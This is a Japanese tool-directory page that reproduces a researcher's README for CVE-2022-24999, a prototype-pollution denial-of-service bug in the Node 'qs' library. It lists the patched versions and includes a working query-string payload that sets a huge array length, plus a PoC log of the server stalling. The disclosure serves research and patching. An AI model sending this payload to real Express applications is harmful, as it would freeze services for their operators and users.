Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/9pings/cve-2022-24999
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティ
GitHub9pings/cve-2022-24999

CVE-2022-24999

"qs" プロトタイプ汚染脆弱性 ( CVE-2022-24999 )

リポジトリを見る
831年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-24999

このリポジトリには、2021年12月にJSライブラリ「qs」で発見した脆弱性のエクスプロイトサンプルが含まれています。

  • この脆弱性は、express v4.17.3 および qs v6.10.3 v6.9.7, v6.8.3, v6.7.3, v6.6.1, v6.5.3, v6.4.1, v6.3.3, v6.2.4 で修正されました。

qs Array & String Bombs

脆弱なバージョンの「qs」では、出力JSオブジェクトに「proto」プロパティを作成することができます。

「__ proto__」プロパティにArrayを設定することで、「配列のような」オブジェクトを作成することができました。

結果として得られるオブジェクトは「Array」プロトタイプを継承するため、ネイティブのArray関数を公開します。

しかし、それらは依然としてオブジェクトであるため、「qs」ではそれらに「length」プロパティを設定することができます。

例として、次のペイロードはこの種の「悪意のある」配列を作成します:

root@kitploit:~
categories[_proto__]&categories[_proto__]&categories[length]=100000000

したがって、それらに不合理な「length」値を設定すると、Nodeプロセスがそれらを文字列値に変換しようとしたり、ほとんどのネイティブArray関数を呼び出そうとした瞬間にフリーズします。

これにより、デフォルトのExpress構成で、強力な検証システムがない状態で脆弱なバージョンの「qs」を使用しているすべてのNodeアプリケーションが、アプリケーションDoS攻撃に対して露出します。

以下は、./express-qs-string-bomb にあるPoCのログの例です:

root@kitploit:~
Send payload :  someString[_proto__]&someString[_proto__]&someString[length]=100000000
[server] Received params  { someString: Array { length: '100000000' } }
[server] Run someString + 0
[server] someString + 0 : 6.364s
[server] Run someString == "123" 
[server] someString == "123" : 6.387s
[server] just write `Got ${someString}`
[server] just write `Got ${someString}` : 6.397s

その他の悪用可能な動作

私たちの分析により、他の悪用方法も可能であることが判明しました。

それらのいくつかは、./qs-vulns ディレクトリで説明しています。

クレジット

BRAUN Nathanael & BRISSAUD Johan
EY Security(フランス)所属

ツールをダウンロード